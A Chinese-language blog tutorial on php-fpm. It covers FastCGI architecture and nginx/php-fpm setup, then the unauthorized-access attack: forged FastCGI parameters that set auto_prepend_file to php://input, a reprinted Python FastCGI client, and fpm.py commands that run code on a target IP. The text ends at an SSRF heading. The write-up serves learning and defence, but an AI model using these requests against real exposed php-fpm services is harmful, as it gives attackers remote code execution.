浅析php-fpm的攻击方式

admin 2023年12月21日01:09:32评论19 views字数 28336阅读94分27秒阅读模式

0x1 前言

 关于php-fpm之前自己了解的并不多,不过之前在比赛的时候遇到过几次,但是自己太菜了没做到那一步,最近放假在刷文章的时候感觉php-fpm攻击很有意思,因为涉及到协议交互的问题,能让自己在摸索的过程中学习到很多东西。虽然p牛的文章已经很详细,但是我还是打算对其进行细细研究和探讨一番。

0x2 php-fpm的概念

官方定义如下: FastCGI 进程管理器(FPM)

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。

www.example.com
|
|
Nginx
|
|
路由到www.example.com/index.php
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi监听127.0.0.1:9000地址
|
|
www.example.com/index.php请求到达127.0.0.1:9000
|
|
php-fpm 监听127.0.0.1:9000
|
|
php-fpm 接收到请求,启用worker进程处理请求
|
|
php-fpm 处理完请求,返回给nginx
|
|
nginx将结果通过http返回给浏览器

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,也就是说FPM的功能大部分是FastCGI的功能,所以我们可以了解下FastCGI的作用。

FastCGI本质是一种协议,在cgi协议的基础上发展起来的。

cgi的历史:

早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。
webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!
交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?
为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。

Fast-CGI:

虽然cgi解决php解释器与webserver的通信问题,但是webserver每收到一个请求就会去fork一个cgi进程,请求结束再kill掉这个进程,这样会很浪费资源,于是出现了cgi的改良版本。

fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

总结来说:

php-fpm 是一个Fastcgi的实现,并提供进程管理功能。

进程包含了master进程和worker进程

master进程只有一个,负责监听端口(一般是9000)接收来自Web Server的请求,而worker进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个php解释器,是php代码真正执行的地方。

上面第一个是主进程,下面两个是worker进程。

0x3 如何安装php-fpm

了解玩php-fpm之后,我们就需要进行安装php-fpm了。

操作如下:

0x 3.1 源代码编译

参考官方文档: PHP 手册 安装与配置 FastCGI 进程管理器(FPM)

编译 PHP 时需要 --enable-fpm 配置选项来激活 FPM 支持。

以下为 FPM 编译的具体配置参数(全部为可选参数):

  • --with-fpm-user - 设置 FPM 运行的用户身份(默认 - nobody)

  • --with-fpm-group - 设置 FPM 运行时的用户组(默认 - nobody)

  • --with-fpm-systemd - 启用 systemd 集成 (默认 - no)

  • --with-fpm-acl - 使用POSIX 访问控制列表 (默认 - no) 5.6.5版本起有效

0x 3.2 命令行安装

1. sudo apt update
2. sudo apt install -y nginx
3. sudo apt install -y software-properties-common
4. sudo add-apt-repository -y ppa:ondrej/php
5. sudo apt update
6. sudo apt install -y php7.3-fpm

php-fpm的通信方式有tcp和套接字(unix socket)两种方式

tcp 与 socket的区别

1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信

2.unix socket其实严格意义上应该叫unix domain socket,它是*nix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。

Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播

效率方面,由于tcp需要经过本地回环驱动,还要申请临时端口和tcp相关资源,所以会比socket差,但是在多并发条件下tcp的比socket有优势。基于两种通信方式不同,所以在攻击的时候也会有相应的差别。

0x3.2.1 配置tcp模式下的php-fpm

1.sudo vim /etc/nginx/sites-enabled/default 查看默认的安装的配置文件

从16行开始就是nginx的配置,去掉从51行开始的注释,然后注释掉57行的sock方式。

ubuntu下默认的nginx安装路径为: /etc/nginx,所以fastcgi-php的文件路径在/snippets

下面是nginx配置文件的讲解:

server {

listen 80 default_server; # 监听80端口,接收http请求

servername ; # 网站地址

root /var/www/html; # 网站根目录

location /{

#First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.

try_files $uri $uri/ =404; # 文件不存在就返回404状态

}

# 下面是重点

location ~ .php$ {
include snippets/fastcgi-php.conf; #加载nginx的fastcgi模块
# With php7.0-cgi alone:

fastcgi_pass 127.0.0.1:9000; # 监听nginx fastcgi进程监听的ip地址和端口
# With php7.0-fpm:
# fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}

}

修改成如上配置就好了.

sudo vim /etc/php/7.3/fpm/pool.d/www.conf

修改为:

listen = 127.0.0.1:9000

以上配置完成,我们在重启nginx和启动php-fpm(这是独立于nginx的一个进程)

1./etc/init.d/php7.3-fpm start

2.service nginx reload

结果发现502错误,我们可以通过查看fpm的错误文件查看原因

/etc/php/7.3/fpm/php-fpm.conf

得到error_log的存在位置

error_log = /var/log/php7.3-fpm.log发现不是这个问题

后来查看cat /var/log/nginx/error.log

可以看到php-fpm没有启动起来

这个时候可以尝试下重启命令,来加载修改的配置文件:

/etc/init.d/php7.3-fpm restart

查看9000端口的情况:

netstat -ap | grep 9000

然后再重新访问:

http://127.0.0.1/phpinfo.php

可以看到成功启动了FPM/FastCGI模式

0x3.2.2 配置unix socket模式下的php-fpm

socket模式的话跟上面差不多,修改的是:

sudo vim /etc/nginx/sites-enabled/default

注释掉之前的tcp端口,然后修改为:/run/php/php7.3-fpm.sock

这个路径可以在/etc/php/7.3/fpm/pool.d/www.conf查看到,当然你也可以修改为别的,比如

/dev/shm 这个是tmpfs,RAM可以直接读取,速度很快,但是你就需要修改两个文件统一起来

sudo vim /etc/php/7.3/fpm/pool.d/www.con

修改为如下:

即可,然后重启就ok了。

0x3.3 docker一键快速搭建

这里采取p神的vulnhub的环境:

vulnhub

在目录下编写个docker-compose.yml文件

version: '2'
services:
php:
image: php:fpm
ports:
- "9000:9000"

docker-compose up -d

如果失败的话,建议直接git clone 下来再去执行

0x4 php-fpm 未授权访问攻击

了解了上面内容,其实就是php-fpm的工作流程,那么工作流程容易发生的脆弱点在哪里?

交互验证

我与@ev0a师傅交流过,这个漏洞是php-fpm一个设计缺陷,因为分别是两个进程通信没有进行安全性验证。

所以我们可以伪造nginx的发送fastCGI封装的数据给php-fpm去解析就可以造成一定问题

那么问题有多严重? 任意代码执行

那么怎么实现任意代码执行呢?

这个可以从FastCGI协议封装数据内容来看:

  1. PHP 进阶之路 - 深入理解 FastCGI 协议以及在 PHP 中的实现

  2. Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;

/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。

当type=4时,设置环境变量实际请求中就会类似如下键值对:

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

其中有个关键的地方,'SCRIPT_FILENAME': '/var/www/html/index.php',代表着php-fpm会去执行这个文件。

虽然我们可以控制php-fpm去执行一个存在的文件

在php5.3.9之后加入了fpm增加了security.limit_extensions选项

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

导致我们只能控制php-fpm去执行一个.php .php3之类的后缀的文件,这个我们可以通过爆破web目录,默认安装环境下php文件来进行控制。

虽然我们可以控制执行任意一个php文件,但是我们还得需要控制内容写入恶意代码才行。

前面我们已经知道了,fastCGI的作用是把'SCRIPT_FILENAME'的文件交予给woker进程解析,所以我们没办法去控制内容,但是php-fpm可以设置环境变量。

'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'

我们可以通过PHP_VALUE PHP_ADMIN_VALUE来设置php配置项,参考php-fpm.conf 全局配置段

fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到某开发者提交了一个bug,php官方才将此特性Merge到php 5.3.3的源码中去。

通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

当设置php环境变量为:

auto_prepend_file = php://input;allow_url_include = On

就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码。

至此完成php-fpm未授权的任意代码执行攻击。

0x5 浅探编写攻击脚本的原理

其实原理就是编写一个FastCGI 的客户端,然后修改发送的数据为我们的恶意代码就可以了。

分享个p牛脚本里面的一个client客户端: Python FastCGI Client
还有Lz1y师傅给的一个php客户端 PHP FastCGI Client

还要php语言客户端: fastcgi客户端PHP语言实现

分析下githud上client客户端这个脚本的架构:

#!/usr/bin/python

import socket
import random


class FastCGIClient:
"""A Fast-CGI Client for Python"""

# private
__FCGI_VERSION = 1

__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()

def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
return chr(FastCGIClient.__FCGI_VERSION)
+ chr(fcgi_type)
+ chr((requestid >> 8) & 0xFF)
+ chr(requestid & 0xFF)
+ chr((length >> 8) & 0xFF)
+ chr(length & 0xFF)
+ chr(0)
+ chr(0)
+ content

def __encodeNameValueParams(self, name, value):
nLen = len(str(name))
vLen = len(str(value))
record = ''
if nLen < 128:
record += chr(nLen)
else:
record += chr((nLen >> 24) | 0x80)
+ chr((nLen >> 16) & 0xFF)
+ chr((nLen >> 8) & 0xFF)
+ chr(nLen & 0xFF)
if vLen < 128:
record += chr(vLen)
else:
record += chr((vLen >> 24) | 0x80)
+ chr((vLen >> 16) & 0xFF)
+ chr((vLen >> 8) & 0xFF)
+ chr(vLen & 0xFF)
return record + str(name) + str(value)

def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = ord(stream[0])
header['type'] = ord(stream[1])
header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
header['paddingLength'] = ord(stream[6])
header['reserved'] = ord(stream[7])
return header

def __decodeFastCGIRecord(self):
header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = ''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
buffer = self.sock.recv(contentLength)
while contentLength and buffer:
contentLength -= len(buffer)
record['content'] += buffer
if 'paddingLength' in record.keys():
skiped = self.sock.recv(int(record['paddingLength']))
return record

def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = ""
beginFCGIRecordContent = chr(0)
+ chr(FastCGIClient.__FCGI_ROLE_RESPONDER)
+ chr(self.keepalive)
+ chr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = ''
if nameValuePairs:
for (name, value) in nameValuePairs.iteritems():
# paramsRecord = self.__encodeNameValueParams(name, value)
# request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
paramsRecord += self.__encodeNameValueParams(name, value)

if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)

if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = ''
return self.__waitForResponse(requestId)

def __waitForResponse(self, requestId):
while True:
response = self.__decodeFastCGIRecord()
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']

def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
0x5.1 Fastcgi协议简介

Fastcgi协议是由一段一段的数据段组成,可以想象成一个车队,每辆车装了不同的数据,但是车队的顺序是固定的。输入时顺序为:请求开始描述、请求键值对、请求输入数据流。输出时顺序为:错误输出数据流、正常输出数据流、请求结束描述。
其中键值对、输入流、输出流,错误流的数据和CGI程序是一样的,只不过是换了种传输方式而已。
再回到车队的描述,每辆车的结构也是统一的,在前面都有一个引擎,引擎决定了你的车是什么样的。所以,每个数据块都包含一个头部信息,结构如下:

typedef struct {
unsigned char version; // 版本号
unsigned char type; // 记录类型
unsigned char requestIdB1; // 记录id高8位
unsigned char requestIdB0; // 记录id低8位
unsigned char contentLengthB1; // 记录内容长度高8位
unsigned char contentLengthB0; // 记录内容长度低8位
unsigned char paddingLength; // 补齐位长度
unsigned char reserved; // 真·记录头部补齐位
} FCGI_Header;

当处于__FCGI_TYPE_BEGIN = 1 请求输入的状态的时候,需要一个描述FastCGI服务器充当的角色以及相关的设定

typedef struct {
unsigned char roleB1; // 角色类型高8位
unsigned char roleB0; // 角色类型低8位
unsigned char flags; // 小红旗
unsigned char reserved[5]; // 补齐位
} FCGI_BeginRequestBody;

官方在升级CGI的时候,同时加入了多种角色给Fastcgi协议,其中定义为:

#define FCGI_RESPONDER 1  响应器
#define FCGI_AUTHORIZER 2 权限控制授权器
#define FCGI_FILTER 3 处理特殊数据的过滤器

对应脚本开头那一段设置全局变量:

# 版本号
__FCGI_VERSION = 1

# FastCGI服务器角色及其设置
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3

# type 记录类型
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11

__FCGI_HEADER_SIZE = 8

# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3

介绍下几个关键代码:

requestId = random.randint(1, (1 << 16) - 1)

区分多段Record.requestId作为同一次请求的标志,unsigned char requestId 变量大小为1字节,8bit确定了范围

我们采取tcpdump看下nginx的客户端通信过程:

指定本地回环网卡,获取9000端口的数据包

sudo tcpdump -nn -i lo tcp dst port 9000

解析包数据:

sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000

tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
14:27:45.469909 IP (tos 0x0, ttl 64, id 36556, offset 0, flags [DF], proto TCP (6), length 60)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 003c 8ecc 4000 4006 aded 7f00 0001 7f00 .<..@.@.........
0x0020: 0001 db7c 2328 808f 223c 0000 0000 a002 ...|#(.."<......
0x0030: aaaa fe30 0000 0204 ffd7 0402 080a 2094 ...0............
0x0040: 80a5 0000 0000 0103 0307 ..........
14:27:45.469928 IP (tos 0x0, ttl 64, id 36557, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ecd 4000 4006 adf4 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 223d 446c 9160 8010 ...|#(.."=Dl.`..
0x0030: 0156 fe28 0000 0101 080a 2094 80a5 2094 .V.(............
0x0040: 80a5 ..
14:27:45.469956 IP (tos 0x0, ttl 64, id 36558, offset 0, flags [DF], proto TCP (6), length 844)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 792
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 034c 8ece 4000 4006 aadb 7f00 0001 7f00 .L..@.@.........
0x0020: 0001 db7c 2328 808f 223d 446c 9160 8018 ...|#(.."=Dl.`..
0x0030: 0156 0141 0000 0101 080a 2094 80a5 2094 .V.A............
0x0040: 80a5 0101 0001 0008 0000 0001 0000 0000 ................
0x0050: 0000 0104 0001 02ef 0100 0900 5041 5448 ............PATH
0x0060: 5f49 4e46 4f0f 1953 4352 4950 545f 4649 _INFO..SCRIPT_FI
0x0070: 4c45 4e41 4d45 2f76 6172 2f77 7777 2f68 LENAME/var/www/h
0x0080: 746d 6c2f 7068 7069 6e66 6f2e 7068 700c tml/phpinfo.php.
0x0090: 0051 5545 5259 5f53 5452 494e 470e 0352 .QUERY_STRING..R
0x00a0: 4551 5545 5354 5f4d 4554 484f 4447 4554 EQUEST_METHODGET
0x00b0: 0c00 434f 4e54 454e 545f 5459 5045 0e00 ..CONTENT_TYPE..
0x00c0: 434f 4e54 454e 545f 4c45 4e47 5448 0b0c CONTENT_LENGTH..
0x00d0: 5343 5249 5054 5f4e 414d 452f 7068 7069 SCRIPT_NAME/phpi
0x00e0: 6e66 6f2e 7068 700b 0c52 4551 5545 5354 nfo.php..REQUEST
0x00f0: 5f55 5249 2f70 6870 696e 666f 2e70 6870 _URI/phpinfo.php
0x0100: 0c0c 444f 4355 4d45 4e54 5f55 5249 2f70 ..DOCUMENT_URI/p
0x0110: 6870 696e 666f 2e70 6870 0d0d 444f 4355 hpinfo.php..DOCU
0x0120: 4d45 4e54 5f52 4f4f 542f 7661 722f 7777 MENT_ROOT/var/ww
0x0130: 772f 6874 6d6c 0f08 5345 5256 4552 5f50 w/html..SERVER_P
0x0140: 524f 544f 434f 4c48 5454 502f 312e 310e ROTOCOLHTTP/1.1.
0x0150: 0452 4551 5545 5354 5f53 4348 454d 4568 .REQUEST_SCHEMEh
0x0160: 7474 7011 0747 4154 4557 4159 5f49 4e54 ttp..GATEWAY_INT
0x0170: 4552 4641 4345 4347 492f 312e 310f 0c53 ERFACECGI/1.1..S
0x0180: 4552 5645 525f 534f 4654 5741 5245 6e67 ERVER_SOFTWAREng
0x0190: 696e 782f 312e 3130 2e33 0b09 5245 4d4f inx/1.10.3..REMO
0x01a0: 5445 5f41 4444 5231 3237 2e30 2e30 2e31 TE_ADDR127.0.0.1
0x01b0: 0b05 5245 4d4f 5445 5f50 4f52 5435 3430 ..REMOTE_PORT540
0x01c0: 3834 0b09 5345 5256 4552 5f41 4444 5231 84..SERVER_ADDR1
0x01d0: 3237 2e30 2e30 2e31 0b02 5345 5256 4552 27.0.0.1..SERVER
0x01e0: 5f50 4f52 5438 300b 0153 4552 5645 525f _PORT80..SERVER_
0x01f0: 4e41 4d45 5f0f 0352 4544 4952 4543 545f NAME_..REDIRECT_
0x0200: 5354 4154 5553 3230 3009 0948 5454 505f STATUS200..HTTP_
0x0210: 484f 5354 3132 372e 302e 302e 310f 4c48 HOST127.0.0.1.LH
0x0220: 5454 505f 5553 4552 5f41 4745 4e54 4d6f TTP_USER_AGENTMo
0x0230: 7a69 6c6c 612f 352e 3020 2858 3131 3b20 zilla/5.0.(X11;.
0x0240: 5562 756e 7475 3b20 4c69 6e75 7820 7838 Ubuntu;.Linux.x8
0x0250: 365f 3634 3b20 7276 3a36 372e 3029 2047 6_64;.rv:67.0).G
0x0260: 6563 6b6f 2f32 3031 3030 3130 3120 4669 ecko/20100101.Fi
0x0270: 7265 666f 782f 3637 2e30 0b3f 4854 5450 refox/67.0.?HTTP
0x0280: 5f41 4343 4550 5474 6578 742f 6874 6d6c _ACCEPTtext/html
0x0290: 2c61 7070 6c69 6361 7469 6f6e 2f78 6874 ,application/xht
0x02a0: 6d6c 2b78 6d6c 2c61 7070 6c69 6361 7469 ml+xml,applicati
0x02b0: 6f6e 2f78 6d6c 3b71 3d30 2e39 2c2a 2f2a on/xml;q=0.9,*/*
0x02c0: 3b71 3d30 2e38 140e 4854 5450 5f41 4343 ;q=0.8..HTTP_ACC
0x02d0: 4550 545f 4c41 4e47 5541 4745 656e 2d55 EPT_LANGUAGEen-U
0x02e0: 532c 656e 3b71 3d30 2e35 140d 4854 5450 S,en;q=0.5..HTTP
0x02f0: 5f41 4343 4550 545f 454e 434f 4449 4e47 _ACCEPT_ENCODING
0x0300: 677a 6970 2c20 6465 666c 6174 650f 0a48 gzip,.deflate..H
0x0310: 5454 505f 434f 4e4e 4543 5449 4f4e 6b65 TTP_CONNECTIONke
0x0320: 6570 2d61 6c69 7665 1e01 4854 5450 5f55 ep-alive..HTTP_U
0x0330: 5047 5241 4445 5f49 4e53 4543 5552 455f PGRADE_INSECURE_
0x0340: 5245 5155 4553 5453 3100 0104 0001 0000 REQUESTS1.......
0x0350: 0000 0105 0001 0000 0000 ..........
14:27:45.471673 IP (tos 0x0, ttl 64, id 36559, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ecf 4000 4006 adf2 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446c 91a0 8010 ...|#(..%UDl....
0x0030: 0156 fe28 0000 0101 080a 2094 80a5 2094 .V.(............
0x0040: 80a5 ..
14:27:45.471699 IP (tos 0x0, ttl 64, id 36560, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ed0 4000 4006 adf1 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446c e720 8010 ...|#(..%UDl....
0x0030: 0555 fe28 0000 0101 080a 2094 80a5 2094 .U.(............
0x0040: 80a5 ..
14:27:45.471755 IP (tos 0x0, ttl 64, id 36561, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ed1 4000 4006 adf0 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446d 9198 8010 ...|#(..%UDm....
0x0030: 0954 fe28 0000 0101 080a 2094 80a5 2094 .T.(............
0x0040: 80a5 ..
14:27:45.473520 IP (tos 0x0, ttl 64, id 36564, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ed4 4000 4006 aded 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446d 91d9 8011 ...|#(..%UDm....
0x0030: 0954 fe28 0000 0101 080a 2094 80a6 2094 .T.(............
0x0040: 80a5 ..

sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000 -w /tmp/1.cap 保存然后在wireshark进行分析下,发现还是很难看出通信规律(二进制流数据没办法看出怎么发送数据包的,tcl),最后问了下p牛,然后我跑去看nginx的源代码了。(未果,还是得搭建环境来debug下数据流才能,静态读太吃力了)

简单的FastCGI请求数据结构如下:

ngx_http_fastcgi_create_request这个是关键函数

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
return chr(FastCGIClient.__FCGI_VERSION)
+ chr(fcgi_type)
+ chr((requestid >> 8) & 0xFF)
+ chr(requestid & 0xFF)
+ chr((length >> 8) & 0xFF)
+ chr(length & 0xFF)
+ chr(0)
+ chr(0)
+ content


def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return

requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = ""
beginFCGIRecordContent = chr(0)
+ chr(FastCGIClient.__FCGI_ROLE_RESPONDER)
+ chr(self.keepalive)
+ chr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = ''

其实这些就是对应上面的结构,而且是8字节对齐的,就有了chr(0)*5来填充。

typedef struct {
u_char version;
u_char type;
u_char request_id_hi;
u_char request_id_lo;
u_char content_length_hi;
u_char content_length_lo;
u_char padding_length;
u_char reserved;
} ngx_http_fastcgi_header_t;
return chr(FastCGIClient.__FCGI_VERSION) 
+ chr(fcgi_type)
+ chr((requestid >> 8) & 0xFF)
+ chr(requestid & 0xFF)
+ chr((length >> 8) & 0xFF)
+ chr(length & 0xFF)
+ chr(0)
+ chr(0)
+ content

通过& 移位控制为1字节大小(对应上面给出的header结构体变量的大小)。

if (val_len > 127) {
*e.pos++ = (u_char) (((val_len >> 24) & 0x7f) | 0x80);
*e.pos++ = (u_char) ((val_len >> 16) & 0xff);
*e.pos++ = (u_char) ((val_len >> 8) & 0xff);
*e.pos++ = (u_char) (val_len & 0xff);

} else {
*e.pos++ = (u_char) val_len;
}
def __encodeNameValueParams(self, name, value):
nLen = len(str(name))
vLen = len(str(value))
record = ''
if nLen < 128:
record += chr(nLen)
else:
record += chr((nLen >> 24) | 0x80)
+ chr((nLen >> 16) & 0xFF)
+ chr((nLen >> 8) & 0xFF)
+ chr(nLen & 0xFF)
if vLen < 128:
record += chr(vLen)
else:
record += chr((vLen >> 24) | 0x80)
+ chr((vLen >> 16) & 0xFF)
+ chr((vLen >> 8) & 0xFF)
+ chr(vLen & 0xFF)
return record + str(name) + str(value)

这段代码对应上面参数的处理

其实关于如何写出各种协议的数据包的方法,如何构造链接,其实我也不是很明白,目前自己在探索的思路也就是通过查看nginx的源码fastcgi源代码模块),跟踪下它的发包流程来解析,后面我会继续尝试去分析清楚发包流程,如果有师傅能与我交流下这方面的技巧,深表感激。

0x6 演示攻击流程

0x6.1 远程攻击tcp模式的php-fpm

这个场景是有些管理员为了方便吧,把fastcgi监听端口设置为: listen = 0.0.0.0:9000而不是listen = 127.0.0.1:9000 这样子可以导致远程代码执行。

这里利用p牛的利用脚本:

fpm.py兼容py3和py2

python命令:

python fpm.py -c '<?php echoid;exit;?>' 10.211.55.21 /var/www/html/phpinfo.php

默认9000端口:

python fpm.py -c '<?php echoid;exit;?>' -p 9000 10.211.55.21 /var/www/html/phpinfo.php

0x6.2 SSRF攻击本地的php-fpm(tcp模式)

